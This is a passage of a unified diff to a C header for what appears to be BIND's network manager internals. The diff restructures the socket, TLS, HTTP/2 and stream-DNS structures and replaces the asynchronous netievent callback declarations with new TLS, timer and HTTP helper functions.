+	STATID_MAX = 11,
+} isc__nm_statid_t;
 
 typedef struct isc_nmsocket_tls_send_req {
 	isc_nmsocket_t *tlssock;
-	isc_region_t data;
+	isc_buffer_t data;
 	isc_nm_cb_t cb;
 	void *cbarg;
 	isc_nmhandle_t *handle;
 	bool finish;
+	uint8_t smallbuf[512];
 } isc_nmsocket_tls_send_req_t;
 
+#if HAVE_LIBNGHTTP2
+
 typedef enum isc_http_request_type {
 	ISC_HTTP_REQ_GET,
 	ISC_HTTP_REQ_POST,
@@ -789,6 +408,24 @@ typedef struct isc_nm_httpcbarg {
 	LINK(struct isc_nm_httpcbarg) link;
 } isc_nm_httpcbarg_t;
 
+typedef struct isc_nm_httphandler {
+	char *path;
+	isc_nm_recv_cb_t cb;
+	void *cbarg;
+	LINK(struct isc_nm_httphandler) link;
+} isc_nm_httphandler_t;
+
+struct isc_nm_http_endpoints {
+	uint32_t magic;
+	isc_mem_t *mctx;
+
+	ISC_LIST(isc_nm_httphandler_t) handlers;
+	ISC_LIST(isc_nm_httpcbarg_t) handler_cbargs;
+
+	isc_refcount_t references;
+	atomic_bool in_use;
+};
+
 typedef struct isc_nmsocket_h2 {
 	isc_nmsocket_t *psock; /* owner of the structure */
 	char *request_path;
@@ -797,14 +434,16 @@ typedef struct isc_nmsocket_h2 {
 	bool query_too_large;
 	isc_nm_httphandler_t *handler;
 
-	uint8_t *buf;
-	size_t bufsize;
-	size_t bufpos;
+	isc_buffer_t rbuf;
+	isc_buffer_t wbuf;
 
 	int32_t stream_id;
 	isc_nm_http_session_t *session;
 
-	isc_nmsocket_t *httpserver;
+	/* maximum concurrent streams (server-side) */
+	atomic_uint_fast32_t max_concurrent_streams;
+
+	uint32_t min_ttl; /* used to set "max-age" in responses */
 
 	isc_http_request_type_t request_type;
 	isc_http_scheme_type_t request_scheme;
@@ -812,6 +451,8 @@ typedef struct isc_nmsocket_h2 {
 	size_t content_length;
 	char clenbuf[128];
 
+	char cache_control_buf[128];
+
 	int headers_error_code;
 	size_t headers_data_processed;
 
@@ -819,18 +460,20 @@ typedef struct isc_nmsocket_h2 {
 	void *cbarg;
 	LINK(struct isc_nmsocket_h2) link;
 
-	ISC_LIST(isc_nm_httphandler_t) handlers;
-	ISC_LIST(isc_nm_httpcbarg_t) handler_cbargs;
-	isc_rwlock_t lock;
+	isc_nm_http_endpoints_t **listener_endpoints;
+	size_t n_listener_endpoints;
 
+	bool response_submitted;
 	struct {
 		char *uri;
 		bool post;
 		isc_tlsctx_t *tlsctx;
 		isc_sockaddr_t local_interface;
 		void *cstream;
+		const char *tls_peer_verify_string;
 	} connect;
 } isc_nmsocket_h2_t;
+#endif /* HAVE_LIBNGHTTP2 */
 
 typedef void (*isc_nm_closehandlecb_t)(void *arg);
 /*%<
@@ -841,41 +484,16 @@ typedef void (*isc_nm_closehandlecb_t)(void *arg);
 struct isc_nmsocket {
 	/*% Unlocked, RO */
 	int magic;
-	int tid;
+	uint32_t tid;
+	isc_refcount_t references;
 	isc_nmsocket_type type;
-	isc_nm_t *mgr;
+	isc__networker_t *worker;
+
+	isc_barrier_t listen_barrier;
+	isc_barrier_t stop_barrier;
 
 	/*% Parent socket for multithreaded listeners */
 	isc_nmsocket_t *parent;
-	/*% Listener socket this connection was accepted on */
-	isc_nmsocket_t *listener;
-	/*% Self socket */
-	isc_nmsocket_t *self;
-
-	isc_barrier_t startlistening;
-	isc_barrier_t stoplistening;
-
-	/*% TLS stuff */
-	struct tls {
-		isc_tls_t *tls;
-		isc_tlsctx_t *ctx;
-		BIO *app_rbio;
-		BIO *app_wbio;
-		BIO *ssl_rbio;
-		BIO *ssl_wbio;
-		enum {
-			TLS_STATE_NONE,
-			TLS_STATE_HANDSHAKE,
-			TLS_STATE_IO,
-			TLS_STATE_ERROR,
-			TLS_STATE_CLOSING
-		} state;
-		isc_region_t senddata;
-		bool cycle;
-		isc_result_t pending_error;
-		/* List of active send requests. */
-		isc__nm_uvreq_t *pending_req;
-	} tls;
 
 	/*% TLS stuff */
 	struct tlsstream {
@@ -884,9 +502,13 @@ struct isc_nmsocket {
 		BIO *bio_out;
 		isc_tls_t *tls;
 		isc_tlsctx_t *ctx;
+		isc_tlsctx_t **listener_tls_ctx; /*%< A context reference per
+						    worker */
+		size_t n_listener_tls_ctx;
+		isc_tlsctx_client_session_cache_t *client_sess_cache;
+		bool client_session_saved;
 		isc_nmsocket_t *tlslistener;
-		isc_sockaddr_t server_iface;
-		isc_sockaddr_t local_iface;
+		isc_nmsocket_t *tlssocket;
 		atomic_bool result_updated;
 		enum {
 			TLS_INIT,
@@ -895,19 +517,31 @@ struct isc_nmsocket {
 			TLS_CLOSED
 		} state; /*%< The order of these is significant */
 		size_t nsending;
+		bool tcp_nodelay_value;
+		isc_nmsocket_tls_send_req_t *send_req; /*%< Send req to reuse */
 		bool reading;
 	} tlsstream;
 
+#if HAVE_LIBNGHTTP2
 	isc_nmsocket_h2_t h2;
+#endif /* HAVE_LIBNGHTTP2 */
+
+	struct {
+		isc_dnsstream_assembler_t *input;
+		bool reading;
+		isc_nmsocket_t *listener;
+		isc_nmsocket_t *sock;
+		size_t nsending;
+		void *send_req;
+		bool dot_alpn_negotiated;
+		const char *tls_verify_error;
+	} streamdns;
 	/*%
-	 * quota is the TCP client, attached when a TCP connection
-	 * is established. pquota is a non-attached pointer to the
-	 * TCP client quota, stored in listening sockets but only
-	 * attached in connected sockets.
+	 * pquota is a non-attached pointer to the TCP client quota, stored in
+	 * listening sockets.
 	 */
-	isc_quota_t *quota;
 	isc_quota_t *pquota;
-	isc_quota_cb_t quotacb;
+	isc_job_t quotacb;
 
 	/*%
 	 * Socket statistics
@@ -917,16 +551,24 @@ struct isc_nmsocket {
 	/*%
 	 * TCP read/connect timeout timers.
 	 */
-	uv_timer_t timer;
+	uv_timer_t read_timer;
 	uint64_t read_timeout;
 	uint64_t connect_timeout;
 
+	/*%
+	 * TCP write timeout timer.
+	 */
+	uint64_t write_timeout;
+
 	/*% outer socket is for 'wrapped' sockets - e.g. tcpdns in tcp */
 	isc_nmsocket_t *outer;
 
 	/*% server socket for connections */
 	isc_nmsocket_t *server;
 
+	/*% client socket for connections */
+	isc_nmsocket_t *listener;
+
 	/*% Child sockets for multi-socket setups */
 	isc_nmsocket_t *children;
 	uint_fast32_t nchildren;
@@ -934,9 +576,6 @@ struct isc_nmsocket {
 	isc_nmhandle_t *statichandle;
 	isc_nmhandle_t *outerhandle;
 
-	/*% Extra data allocated at the end of each isc_nmhandle_t */
-	size_t extrahandlesize;
-
 	/*% TCP backlog */
 	int backlog;
 
@@ -947,17 +586,15 @@ struct isc_nmsocket {
 	/*% Peer address */
 	isc_sockaddr_t peer;
 
-	/* Atomic */
-	/*% Number of running (e.g. listening) child sockets */
-	atomic_uint_fast32_t rchildren;
-
 	/*%
 	 * Socket is active if it's listening, working, etc. If it's
 	 * closing, then it doesn't make a sense, for example, to
 	 * push handles or reqs for reuse.
 	 */
-	atomic_bool active;
-	atomic_bool destroying;
+	bool active;
+	bool destroying;
+
+	bool route_sock;
 
 	/*%
 	 * Socket is closed if it's not active and all the possible
@@ -965,24 +602,18 @@ struct isc_nmsocket {
 	 * If active==false but closed==false, that means the socket
 	 * is closing.
 	 */
-	atomic_bool closing;
-	atomic_bool closed;
-	atomic_bool listening;
-	atomic_bool connecting;
-	atomic_bool connected;
+	bool closing;
+	bool closed;
+	bool connecting;
+	bool connected;
 	bool accepting;
 	bool reading;
-	isc_refcount_t references;
+	bool timedout;
 
 	/*%
 	 * Established an outgoing connection, as client not server.
 	 */
-	atomic_bool client;
-
-	/*%
-	 * TCPDNS socket has been set not to pipeline.
-	 */
-	atomic_bool sequential;
+	bool client;
 
 	/*%
 	 * The socket is processing read callback, this is guard to not read
@@ -990,95 +621,31 @@ struct isc_nmsocket {
 	 */
 	bool processing;
 
-	/*%
-	 * A TCP socket has had isc_nm_pauseread() called.
-	 */
-	atomic_bool readpaused;
-
 	/*%
 	 * A TCP or TCPDNS socket has been set to use the keepalive
 	 * timeout instead of the default idle timeout.
 	 */
-	atomic_bool keepalive;
+	bool keepalive;
 
 	/*%
-	 * 'spare' handles for that can be reused to avoid allocations,
-	 * for UDP.
+	 * 'spare' handles for that can be reused to avoid allocations, for UDP.
 	 */
-	isc_astack_t *inactivehandles;
-	isc_astack_t *inactivereqs;
+	ISC_LIST(isc_nmhandle_t) inactive_handles;
+
+	size_t inactive_handles_cur;
+	size_t inactive_handles_max;
 
 	/*%
-	 * Used to wait for TCP listening events to complete, and
-	 * for the number of running children to reach zero during
-	 * shutdown.
-	 *
-	 * We use two condition variables to prevent the race where the netmgr
-	 * threads would be able to finish and destroy the socket before it's
-	 * unlocked by the isc_nm_listen<proto>() function.  So, the flow is as
-	 * follows:
-	 *
-	 *   1. parent thread creates all children sockets and passes then to
-	 *      netthreads, looks at the signaling variable and WAIT(cond) until
-	 *      the childrens are done initializing
-	 *
-	 *   2. the events get picked by netthreads, calls the libuv API (and
-	 *      either succeeds or fails) and WAIT(scond) until all other
-	 *      children sockets in netthreads are initialized and the listening
-	 *      socket lock is unlocked
-	 *
-	 *   3. the control is given back to the parent thread which now either
-	 *      returns success or shutdowns the listener if an error has
-	 *      occured in the children netthread
-	 *
-	 * NOTE: The other approach would be doing an extra attach to the parent
-	 * listening socket, and then detach it in the parent thread, but that
-	 * breaks the promise that once the libuv socket is initialized on the
-	 * nmsocket, the nmsocket needs to be handled only by matching
-	 * netthread, so in fact that would add a complexity in a way that
-	 * isc__nmsocket_detach would have to be converted to use an
-	 * asynchrounous netievent.
+	 * 'active' handles and uvreqs, mostly for debugging purposes.
 	 */
-	isc_mutex_t lock;
-	isc_condition_t cond;
-	isc_condition_t scond;
+	ISC_LIST(isc_nmhandle_t) active_handles;
+	ISC_LIST(isc__nm_uvreq_t) active_uvreqs;
 
 	/*%
 	 * Used to pass a result back from listen or connect events.
 	 */
 	isc_result_t result;
 
-	/*%
-	 * List of active handles.
-	 * ah - current position in 'ah_frees'; this represents the
-	 *	current number of active handles;
-	 * ah_size - size of the 'ah_frees' and 'ah_handles' arrays
-	 * ah_handles - array pointers to active handles
-	 *
-	 * Adding a handle
-	 *  - if ah == ah_size, reallocate
-	 *  - x = ah_frees[ah]
-	 *  - ah_frees[ah++] = 0;
-	 *  - ah_handles[x] = handle
-	 *  - x must be stored with the handle!
-	 * Removing a handle:
-	 *  - ah_frees[--ah] = x
-	 *  - ah_handles[x] = NULL;
-	 *
-	 * XXX: for now this is locked with socket->lock, but we
-	 * might want to change it to something lockless in the
-	 * future.
-	 */
-	atomic_int_fast32_t ah;
-	size_t ah_size;
-	size_t *ah_frees;
-	isc_nmhandle_t **ah_handles;
-
-	/*% Buffer for TCPDNS processing */
-	size_t buf_size;
-	size_t buf_len;
-	unsigned char *buf;
-
 	/*%
 	 * This function will be called with handle->sock
 	 * as the argument whenever a handle's references drop
@@ -1089,7 +656,6 @@ struct isc_nmsocket {
 	isc_nmhandle_t *recv_handle;
 	isc_nm_recv_cb_t recv_cb;
 	void *recv_cbarg;
-	bool recv_read;
 
 	isc_nm_cb_t connect_cb;
 	void *connect_cbarg;
@@ -1097,35 +663,16 @@ struct isc_nmsocket {
 	isc_nm_accept_cb_t accept_cb;
 	void *accept_cbarg;
 
-	atomic_int_fast32_t active_child_connections;
-
-#ifdef NETMGR_TRACE
+	bool barriers_initialised;
+	bool manual_read_timer;
+#if ISC_NETMGR_TRACE
 	void *backtrace[TRACE_SIZE];
 	int backtrace_size;
-	LINK(isc_nmsocket_t) active_link;
-	ISC_LIST(isc_nmhandle_t) active_handles;
 #endif
-};
-
-bool
-isc__nm_in_netthread(void);
-/*%<
- * Returns 'true' if we're in the network thread.
- */
-
-void
-isc__nm_maybe_enqueue_ievent(isc__networker_t *worker, isc__netievent_t *event);
-/*%<
- * If the caller is already in the matching nmthread, process the netievent
- * directly, if not enqueue using isc__nm_enqueue_ievent().
- */
+	LINK(isc_nmsocket_t) active_link;
 
-void
-isc__nm_enqueue_ievent(isc__networker_t *worker, isc__netievent_t *event);
-/*%<
- * Enqueue an ievent onto a specific worker queue. (This the only safe
- * way to use an isc__networker_t from another thread.)
- */
+	isc_job_t job;
+};
 
 void
 isc__nm_free_uvbuf(isc_nmsocket_t *sock, const uv_buf_t *buf);
@@ -1138,8 +685,8 @@ isc__nm_free_uvbuf(isc_nmsocket_t *sock, const uv_buf_t *buf);
  */
 
 isc_nmhandle_t *
-isc___nmhandle_get(isc_nmsocket_t *sock, isc_sockaddr_t *peer,
-		   isc_sockaddr_t *local FLARG);
+isc___nmhandle_get(isc_nmsocket_t *sock, isc_sockaddr_t const *peer,
+		   isc_sockaddr_t const *local FLARG);
 /*%<
  * Get a handle for the socket 'sock', allocating a new one
  * if there isn't one available in 'sock->inactivehandles'.
@@ -1155,14 +702,14 @@ isc___nmhandle_get(isc_nmsocket_t *sock, isc_sockaddr_t *peer,
  */
 
 isc__nm_uvreq_t *
-isc___nm_uvreq_get(isc_nm_t *mgr, isc_nmsocket_t *sock FLARG);
+isc___nm_uvreq_get(isc_nmsocket_t *sock FLARG);
 /*%<
  * Get a UV request structure for the socket 'sock', allocating a
  * new one if there isn't one available in 'sock->inactivereqs'.
  */
 
 void
-isc___nm_uvreq_put(isc__nm_uvreq_t **req, isc_nmsocket_t *sock FLARG);
+isc___nm_uvreq_put(isc__nm_uvreq_t **req FLARG);
 /*%<
  * Completes the use of a UV request structure, setting '*req' to NULL.
  *
@@ -1171,8 +718,9 @@ isc___nm_uvreq_put(isc__nm_uvreq_t **req, isc_nmsocket_t *sock FLARG);
  */
 
 void
-isc___nmsocket_init(isc_nmsocket_t *sock, isc_nm_t *mgr, isc_nmsocket_type type,
-		    isc_sockaddr_t *iface FLARG);
+isc___nmsocket_init(isc_nmsocket_t *sock, isc__networker_t *worker,
+		    isc_nmsocket_type type, isc_sockaddr_t *iface,
+		    isc_nmsocket_t *parent FLARG);
 /*%<
  * Initialize socket 'sock', attach it to 'mgr', and set it to type 'type'
  * and its interface to 'iface'.
@@ -1205,23 +753,17 @@ isc__nmsocket_shutdown(isc_nmsocket_t *sock);
  * callbacks.
  */
 
-bool
-isc__nmsocket_active(isc_nmsocket_t *sock);
+void
+isc__nmsocket_reset(isc_nmsocket_t *sock);
 /*%<
- * Determine whether 'sock' is active by checking 'sock->active'
- * or, for child sockets, 'sock->parent->active'.
+ * Reset and close the socket.
  */
 
 bool
-isc__nmsocket_deactivate(isc_nmsocket_t *sock);
+isc__nmsocket_active(isc_nmsocket_t *sock);
 /*%<
- * @brief Deactivate active socket
- *
- * Atomically deactive the socket by setting @p sock->active or, for child
- * sockets, @p sock->parent->active to @c false
- *
- * @param[in] sock - valid nmsocket
- * @return @c false if the socket was already inactive, @c true otherwise
+ * Determine whether 'sock' is active by checking 'sock->active'
+ * or, for child sockets, 'sock->parent->active'.
  */
 
 void
@@ -1246,18 +788,9 @@ void
 isc__nm_connectcb(isc_nmsocket_t *sock, isc__nm_uvreq_t *uvreq,
 		  isc_result_t eresult, bool async);
 
-void
-isc__nm_async_connectcb(isc__networker_t *worker, isc__netievent_t *ev0);
-/*%<
- * Issue a connect callback on the socket, used to call the callback
- */
-
 void
 isc__nm_readcb(isc_nmsocket_t *sock, isc__nm_uvreq_t *uvreq,
-	       isc_result_t eresult);
-void
-isc__nm_async_readcb(isc__networker_t *worker, isc__netievent_t *ev0);
-
+	       isc_result_t eresult, bool async);
 /*%<
  * Issue a read callback on the socket, used to call the callback
  * on failed conditions when the event can't be scheduled on the uv loop.
@@ -1267,20 +800,11 @@ isc__nm_async_readcb(isc__networker_t *worker, isc__netievent_t *ev0);
 void
 isc__nm_sendcb(isc_nmsocket_t *sock, isc__nm_uvreq_t *uvreq,
 	       isc_result_t eresult, bool async);
-void
-isc__nm_async_sendcb(isc__networker_t *worker, isc__netievent_t *ev0);
 /*%<
  * Issue a write callback on the socket, used to call the callback
  * on failed conditions when the event can't be scheduled on the uv loop.
  */
 
-void
-isc__nm_async_shutdown(isc__networker_t *worker, isc__netievent_t *ev0);
-/*%<
- * Walk through all uv handles, get the underlying sockets and issue
- * close on them.
- */
-
 void
 isc__nm_udp_send(isc_nmhandle_t *handle, const isc_region_t *region,
 		 isc_nm_cb_t cb, void *cbarg);
@@ -1300,12 +824,6 @@ isc__nm_udp_close(isc_nmsocket_t *sock);
  * Close a UDP socket.
  */
 
-void
-isc__nm_udp_cancelread(isc_nmhandle_t *handle);
-/*%<
- * Stop reading on a connected UDP handle.
- */
-
 void
 isc__nm_udp_shutdown(isc_nmsocket_t *sock);
 /*%<
@@ -1325,24 +843,6 @@ isc__nm_udp_settimeout(isc_nmhandle_t *handle, uint32_t timeout);
  * Set or clear the recv timeout for the UDP socket associated with 'handle'.
  */
 
-void
-isc__nm_async_udplisten(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_udpconnect(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_udpstop(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_udpsend(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_udpread(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_udpcancel(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_udpclose(isc__networker_t *worker, isc__netievent_t *ev0);
-/*%<
- * Callback handlers for asynchronous UDP events (listen, stoplisten, send).
- */
-
 void
 isc__nm_tcp_send(isc_nmhandle_t *handle, const isc_region_t *region,
 		 isc_nm_cb_t cb, void *cbarg);
@@ -1353,7 +853,7 @@ isc__nm_tcp_send(isc_nmhandle_t *handle, const isc_region_t *region,
 void
 isc__nm_tcp_read(isc_nmhandle_t *handle, isc_nm_recv_cb_t cb, void *cbarg);
 /*
- * Back-end implementation of isc_nm_read() for TCP handles.
+ * Start reading on this handle.
  */
 
 void
@@ -1362,16 +862,9 @@ isc__nm_tcp_close(isc_nmsocket_t *sock);
  * Close a TCP socket.
  */
 void
-isc__nm_tcp_pauseread(isc_nmhandle_t *handle);
+isc__nm_tcp_read_stop(isc_nmhandle_t *handle);
 /*%<
- * Pause reading on this handle, while still remembering the callback.
- */
-
-void
-isc__nm_tcp_resumeread(isc_nmhandle_t *handle);
-/*%<
- * Resume reading from socket.
- *
+ * Stop reading on this handle.
  */
 
 void
@@ -1381,24 +874,12 @@ isc__nm_tcp_shutdown(isc_nmsocket_t *sock);
  * sockets.
  */
 
-void
-isc__nm_tcp_cancelread(isc_nmhandle_t *handle);
-/*%<
- * Stop reading on a connected TCP handle.
- */
-
 void
 isc__nm_tcp_stoplistening(isc_nmsocket_t *sock);
 /*%<
  * Stop listening on 'sock'.
  */
 
-int_fast32_t
-isc__nm_tcp_listener_nactive(isc_nmsocket_t *sock);
-/*%<
- * Returns the number of active connections for the TCP listener socket.
- */
-
 void
 isc__nm_tcp_settimeout(isc_nmhandle_t *handle, uint32_t timeout);
 /*%<
@@ -1406,220 +887,111 @@ isc__nm_tcp_settimeout(isc_nmhandle_t *handle, uint32_t timeout);
  */
 
 void
-isc__nm_async_tcpconnect(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tcplisten(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tcpaccept(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tcpstop(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tcpsend(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_startread(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_pauseread(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tcpstartread(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tcppauseread(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tcpcancel(isc__networker_t *worker, isc__netievent_t *ev0);
+isc__nmhandle_tcp_set_manual_timer(isc_nmhandle_t *handle, const bool manual);
+
 void
-isc__nm_async_tcpclose(isc__networker_t *worker, isc__netievent_t *ev0);
+isc__nm_tcp_senddns(isc_nmhandle_t *handle, const isc_region_t *region,
+		    isc_nm_cb_t cb, void *cbarg);
 /*%<
- * Callback handlers for asynchronous TCP events (connect, listen,
- * stoplisten, send, read, pause, close).
+ * The same as 'isc__nm_tcp_send()', but with data length sent
+ * ahead of data (two bytes (16 bit) in big-endian format).
  */
 
 void
-isc__nm_async_tlsclose(isc__networker_t *worker, isc__netievent_t *ev0);
-
-void
-isc__nm_async_tlssend(isc__networker_t *worker, isc__netievent_t *ev0);
-
-void
-isc__nm_async_tlsstartread(isc__networker_t *worker, isc__netievent_t *ev0);
-
-void
-isc__nm_async_tlsdobio(isc__networker_t *worker, isc__netievent_t *ev0);
-
-void
-isc__nm_async_tlscancel(isc__networker_t *worker, isc__netievent_t *ev0);
+isc__nm_tls_send(isc_nmhandle_t *handle, const isc_region_t *region,
+		 isc_nm_cb_t cb, void *cbarg);
 
 /*%<
- * Callback handlers for asynchronouse TLS events.
+ * Back-end implementation of isc_nm_send() for TLSDNS handles.
  */
 
 void
-isc__nm_async_tcpdnsaccept(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tcpdnsconnect(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tcpdnslisten(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_tcpdns_send(isc_nmhandle_t *handle, isc_region_t *region,
+isc__nm_tls_senddns(isc_nmhandle_t *handle, const isc_region_t *region,
 		    isc_nm_cb_t cb, void *cbarg);
 /*%<
- * Back-end implementation of isc_nm_send() for TCPDNS handles.
+ * The same as 'isc__nm_tls_send()', but with data length sent
+ * ahead of data (two bytes (16 bit) in big-endian format).
  */
 
 void
-isc__nm_tcpdns_shutdown(isc_nmsocket_t *sock);
-
-void
-isc__nm_tcpdns_close(isc_nmsocket_t *sock);
+isc__nm_tls_read(isc_nmhandle_t *handle, isc_nm_recv_cb_t cb, void *cbarg);
 /*%<
- * Close a TCPDNS socket.
+ * Start reading on the TLS handle.
  */
 
 void
-isc__nm_tcpdns_stoplistening(isc_nmsocket_t *sock);
+isc__nm_tls_close(isc_nmsocket_t *sock);
 /*%<
- * Stop listening on 'sock'.
+ * Close a TLS socket.
  */
 
 void
-isc__nm_tcpdns_settimeout(isc_nmhandle_t *handle, uint32_t timeout);
+isc__nm_tls_read_stop(isc_nmhandle_t *handle);
 /*%<
- * Set the read timeout and reset the timer for the TCPDNS socket
- * associated with 'handle', and the TCP socket it wraps around.
+ * Stop reading on the TLS handle.
  */
 
 void
-isc__nm_async_tcpdnslisten(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tcpdnsaccept(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tcpdnscancel(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tcpdnsclose(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tcpdnssend(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tcpdnsstop(isc__networker_t *worker, isc__netievent_t *ev0);
-
-void
-isc__nm_async_tcpdnsread(isc__networker_t *worker, isc__netievent_t *ev0);
-
-void
-isc__nm_tcpdns_read(isc_nmhandle_t *handle, isc_nm_recv_cb_t cb, void *cbarg);
-
-void
-isc__nm_tcpdns_cancelread(isc_nmhandle_t *handle);
-/*%<
- * Stop reading on a connected TCPDNS handle.
- */
+isc__nm_tls_cleanup_data(isc_nmsocket_t *sock);
 
 void
-isc__nm_async_tlsdnscycle(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tlsdnsaccept(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tlsdnsconnect(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tlsdnslisten(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_tlsdns_send(isc_nmhandle_t *handle, isc_region_t *region,
-		    isc_nm_cb_t cb, void *cbarg);
+isc__nm_tls_stoplistening(isc_nmsocket_t *sock);
 
 void
-isc__nm_tls_send(isc_nmhandle_t *handle, const isc_region_t *region,
-		 isc_nm_cb_t cb, void *cbarg);
-
+isc__nm_tls_settimeout(isc_nmhandle_t *handle, uint32_t timeout);
 void
-isc__nm_tls_cancelread(isc_nmhandle_t *handle);
-
+isc__nm_tls_cleartimeout(isc_nmhandle_t *handle);
 /*%<
- * Back-end implementation of isc_nm_send() for TLSDNS handles.
+ * Set the read timeout and reset the timer for the socket
+ * associated with 'handle', and the TCP socket it wraps
+ * around.
  */
 
 void
-isc__nm_tlsdns_shutdown(isc_nmsocket_t *sock);
+isc__nmsocket_tls_reset(isc_nmsocket_t *sock);
 
 void
-isc__nm_tlsdns_close(isc_nmsocket_t *sock);
-/*%<
- * Close a TLSDNS socket.
- */
+isc__nmhandle_tls_set_manual_timer(isc_nmhandle_t *handle, const bool manual);
 
-void
-isc__nm_tlsdns_stoplistening(isc_nmsocket_t *sock);
-/*%<
- * Stop listening on 'sock'.
- */
+const char *
+isc__nm_tls_verify_tls_peer_result_string(const isc_nmhandle_t *handle);
 
 void
-isc__nm_tlsdns_settimeout(isc_nmhandle_t *handle, uint32_t timeout);
+isc__nmhandle_tls_keepalive(isc_nmhandle_t *handle, bool value);
 /*%<
- * Set the read timeout and reset the timer for the TLSDNS socket
- * associated with 'handle', and the TCP socket it wraps around.
+ * Set the keepalive value on the underlying TCP handle.
  */
 
 void
-isc__nm_async_tlsdnslisten(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tlsdnsaccept(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tlsdnscancel(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tlsdnsclose(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tlsdnssend(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tlsdnsstop(isc__networker_t *worker, isc__netievent_t *ev0);
-void
-isc__nm_async_tlsdnsshutdown(isc__networker_t *worker, isc__netievent_t *ev0);
+isc__nm_async_tls_set_tlsctx(isc_nmsocket_t *listener, isc_tlsctx_t *tlsctx,
+			     const int tid);
 
 void
-isc__nm_async_tlsdnsread(isc__networker_t *worker, isc__netievent_t *ev0);
+isc__nmhandle_tls_setwritetimeout(isc_nmhandle_t *handle,
+				  uint64_t write_timeout);
 
-void
-isc__nm_tlsdns_read(isc_nmhandle_t *handle, isc_nm_recv_cb_t cb, void *cbarg);
-
-void
-isc__nm_tlsdns_cancelread(isc_nmhandle_t *handle);
-/*%<
- * Stop reading on a connected TLSDNS handle.
- */
-
-void
-isc__nm_tls_read(isc_nmhandle_t *handle, isc_nm_recv_cb_t cb, void *cbarg);
+bool
+isc__nmsocket_tls_timer_running(isc_nmsocket_t *sock);
 
 void
-isc__nm_tls_close(isc_nmsocket_t *sock);
-/*%<
- * Close a TLS socket.
- */
+isc__nmsocket_tls_timer_restart(isc_nmsocket_t *sock);
 
 void
-isc__nm_tls_pauseread(isc_nmhandle_t *handle);
-/*%<
- * Pause reading on this handle, while still remembering the callback.
- */
+isc__nmsocket_tls_timer_stop(isc_nmsocket_t *sock);
 
 void
-isc__nm_tls_resumeread(isc_nmhandle_t *handle);
-/*%<
- * Resume reading from the handle.
- *
- */
+isc__nm_tls_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result,
+			   bool async);
 
 void
-isc__nm_tls_cleanup_data(isc_nmsocket_t *sock);
+isc__nmhandle_tls_get_selected_alpn(isc_nmhandle_t *handle,
+				    const unsigned char **alpn,
+				    unsigned int *alpnlen);
 
-void
-isc__nm_tls_stoplistening(isc_nmsocket_t *sock);
+isc_result_t
+isc__nmhandle_tls_set_tcp_nodelay(isc_nmhandle_t *handle, const bool value);
 
-void
-isc__nm_tls_settimeout(isc_nmhandle_t *handle, uint32_t timeout);
-void
-isc__nm_tls_cleartimeout(isc_nmhandle_t *handle);
-/*%<
- * Set the read timeout and reset the timer for the socket
- * associated with 'handle', and the TCP socket it wraps
- * around.
- */
+#if HAVE_LIBNGHTTP2
 
 void
 isc__nm_http_stoplistening(isc_nmsocket_t *sock);
@@ -1634,6 +1006,12 @@ isc__nm_http_cleartimeout(isc_nmhandle_t *handle);
  * around.
  */
 
+void
+isc__nmhandle_http_keepalive(isc_nmhandle_t *handle, bool value);
+/*%<
+ * Set the keepalive value on the underlying session handle
+ */
+
 void
 isc__nm_http_initsocket(isc_nmsocket_t *sock);
 
@@ -1655,13 +1033,23 @@ void
 isc__nm_http_close(isc_nmsocket_t *sock);
 
 void
-isc__nm_async_httpsend(isc__networker_t *worker, isc__netievent_t *ev0);
+isc__nm_http_bad_request(isc_nmhandle_t *handle);
+/*%<
+ * Respond to the request with 400 "Bad Request" status.
+ *
+ * Requires:
+ * \li 'handle' is a valid HTTP netmgr handle object, referencing a server-side
+ * socket
+ */
 
-void
-isc__nm_async_httpstop(isc__networker_t *worker, isc__netievent_t *ev0);
+bool
+isc__nm_http_has_encryption(const isc_nmhandle_t *handle);
 
 void
-isc__nm_async_httpclose(isc__networker_t *worker, isc__netievent_t *ev0);
+isc__nm_http_set_maxage(isc_nmhandle_t *handle, const uint32_t ttl);
+
+const char *
+isc__nm_http_verify_tls_peer_result_string(const isc_nmhandle_t *handle);
 
 bool
 isc__nm_parse_httpquery(const char *query_string, const char **start,
@@ -1681,44 +1069,81 @@ isc__nm_httpsession_attach(isc_nm_http_session_t *source,
 void
 isc__nm_httpsession_detach(isc_nm_http_session_t **sessionp);
 
-#define isc__nm_uverr2result(x) \
